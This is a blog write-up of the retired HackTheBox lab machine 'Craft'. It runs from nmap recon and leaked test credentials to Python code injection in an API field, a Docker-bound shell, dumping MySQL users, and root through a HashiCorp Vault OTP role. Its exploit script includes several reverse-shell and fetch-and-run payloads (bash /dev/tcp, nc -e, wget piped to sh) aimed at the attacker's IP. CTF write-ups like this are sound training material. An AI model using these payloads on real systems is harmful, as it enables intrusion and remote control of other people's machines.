HTB: Craft

Posted on 05 Jan 2020 in security • 6 min read

Craft card

This is a writeup about a retired HacktheBox machine: Craft This box is classified as a medium machine. The user part is quit long and involve to find "secrets" in a git repository, access an API to get a reverse shell and manipulate a MySQL database in a jailed environment. The root part is quit easier and involve to interact with a vault instance.

User

Recon

We start with an nmap scan. Only the ports 22, 6022 (SSH) and 443 (HTTPS) are open.

# Nmap 7.80 scan initiated Fri Nov  8 15:33:42 2019 as: nmap -p- -sSV -oA 10.10.10.110 10.10.10.110
Nmap scan report for 10.10.10.110
Host is up (0.15s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp  open  ssl/http nginx 1.15.8
6022/tcp open  ssh      (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=11/8%Time=5DC57F7D%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov  8 15:45:26 2019 -- 1 IP address (1 host up) scanned in 704.14 seconds

Web

The website present the Craft database for beers!

Craft aims to be the largest repository of US-produced craft brews accessible over REST. In the future we will release a mobile app to interface with our public rest API as well as a brew submission process, but for now, check out our API!

There is also a link to a gogs as well as the API. This links redirect to some subdomain. Let us add some informations in our /etc/hosts.

cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kalili
10.10.10.110    craft.htb
10.10.10.110    api.craft.htb
10.10.10.110    gogs.craft.htb

GOGS

On the gogs commit we can found the credentials of an user used for testing purpose in the commit 10e3ba4f0a09c778d7cec673f28d410b73455a86 in the file test/test.py.

git file

This creds allow us to interct with the API. Moreover the test.py script take care to generate a valid token and let us directly interact with the API. The quote are a bit a pain in the ass here. Nevertheless we can validate the code execution using a python simpleHTTPserver on our end and execute wget 10.10.14.51:8081/$(<command>) server side.

At least we get a reverse shell.

#!/usr/bin/env python

import requests
import json


response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
#response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False, proxies=proxies)
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
#brew_dict['abv'] = '__import__("os").system("/bin/bash -i >& /dev/tcp/10.10.14.51/7777 0>&1")'
#brew_dict['abv'] = '__import__("os").system("wget 10.10.14.51:8081/$(ls ./lolll.sh)")'
#brew_dict['abv'] = '__import__("os").system("ncat 10.10.14.51 4444 -e /bin/sh &")'
#brew_dict['abv'] = '__import__("os").system("wget -O - 10.10.14.51:8081/shell.py | sh")'
brew_dict['abv'] = '__import__(\'os\').popen(\'nc 10.10.14.194 7777 -e /bin/sh\').read()'
#brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
print json_data
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

API: reverse shell

Once we get a relay on the box we notice that we are root… but in a docker.

cat release_agent
/var/lib/docker/overlay2/28e271a4328612a47294bbae8c8b7f01470e29454eef499b5beda147a55000e0/diff/c
uname -a
Linux 5a3d243127f5 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 Linux
cat /proc/1/cgroup
10:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
9:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
8:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
7:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
6:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
5:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
4:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
3:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
2:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c

MySQL

We explorer the application folder and found some database settings.

cat craft_api/settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

In order to have a "better" shell we can use /bin/sh -i

There is a dbtest.py script that allow us to test the connection to the database. We cat that script in a new one in order to change the SQL line to list the users's table. At first I tried with a from users. As there was no result I tried with the following:

/opt/app # head -n 15 dbtest.py > dbtest2.py
/opt/app # echo '        sql = "SELECT * from user"' >>dbtest2.py
/opt/app # echo '        sql = "SELECT * from user"' >>dbtest2.py
/opt/app # tail -n 6 dbtest.py >> dbtest2.py
/opt/app # python dbtest2.py
{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}

We get only one user because the dbtest.py script use the cursor.fetchone() function. The pymysql documentation indicate that we want to use the cursor.fetchall() function. We modify our "script":

/opt/app # head -n 15 dbtest.py > dbtest2.py
/opt/app # echo '        sql = "SELECT * from user"' >>dbtest2.py
/opt/app # echo '        cursor.execute(sql)'>>dbtest2.py
/opt/app # echo '        result = cursor.fetchall()'>>dbtest2.py
/opt/app # tail -n 4 dbtest.py >>dbtest2.py
/opt/app # python dbtest2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

We can then connect to the GOGS with the gilfoyle credentials.

This user has a private repository containing sensitive information as his private SSH key. The key is protected by a passphrase. That passhrase is his password! We need to copy his private and public key in our .ssh folder. We also need to change the private key permission (chmod 600). We can then SSH to the machine and get the user flag:

ssh craft.htb -l gilfoyle


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
  |\_________/|/ _ \
  |  |  |  |  | / | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | \_| |
  |  |  |  |  |\___/
  |\_|__|__|_/|
    \_________/



Enter passphrase for key '/root/.ssh/id_rsa':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$ ls
user.txt
gilfoyle@craft:~$ cat user.txt
bbf4b<redacted>

getting root

enumeration

When listing the gilfoyle home folder we found a .vault-token file containing a vault token.

gilfoyle@craft:~$ ls -al
total 36
drwx------ 4 gilfoyle gilfoyle 4096 Feb  9  2019 .
drwxr-xr-x 3 root     root     4096 Feb  9  2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle  634 Feb  9  2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb  9  2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle  148 Feb  8  2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb  9  2019 .ssh
-r-------- 1 gilfoyle gilfoyle   33 Feb  9  2019 user.txt
-rw------- 1 gilfoyle gilfoyle   36 Feb  9  2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 2546 Feb  9  2019 .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

Vault

In order to use vault, when need to authenticate ourself with the token.

gilfoyle@craft:~$ vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor       1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration       ∞
token_renewable      false
token_policies       ["root"]
identity_policies    []
policies             ["root"]

We are member of the vault's root policy meaning that we can access everything stored on the vault.

The vault is unsealed. Therefore we can directly access to the data. If this vault was sealed we will need 3 of the 5 keys to unsealed the vault (with the shamir seal type).

gilfoyle@craft:~$ vault status
Key             Value
---             -----
Seal Type       shamir
Initialized     false
Sealed          false
Total Shares    5
Threshold       3
Version         0.11.1
Cluster Name    vault-cluster-cb7e66f9
Cluster ID      8bb98351-0148-3c42-d124-45a87dc43db7
HA Enabled      false

We can list the secret engine enable on the vault.

gilfoyle@craft:~$ vault secrets list
Path          Type         Accessor              Description
----          ----         --------              -----------
cubbyhole/    cubbyhole    cubbyhole_ffc9a6e5    per-token private secret storage
identity/     identity     identity_56533c34     identity store
secret/       kv           kv_2d9b0109           key/value secret storage
ssh/          ssh          ssh_3bbd5276          n/a
sys/          system       system_477ec595       system endpoints used for control, policy and debugging

In the craf-infra repository there is a vault folder containing a secret.sh file. This file show wich secrets are created: An ssh acces for the root user.

craft-infra/vault# cat secrets.sh
#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=0.0.0.0/0

Therefore we just need to use the vault's ssh command to connect as root on localhost with the otp mode. We are root on the machine and can access the flag.

gilfoyle@craft:~$ vault ssh -mode=otp root@127.0.0.1
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: fb100502-b40c-9f60-aa35-f90a5000a2a3


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
  |\_________/|/ _ \
  |  |  |  |  | / | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | | | |
  |  |  |  |  | \_| |
  |  |  |  |  |\___/
  |\_|__|__|_/|
    \_________/



Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# cat root.txt
831d6<redacted>

Wrapping up

This box was really interesting as everything is applicable in real life. The user part was quit long (compared to the user part) and getting a working reverse shell was a brain crusher. For the root part it was quit easy but allow me to learn more about vault.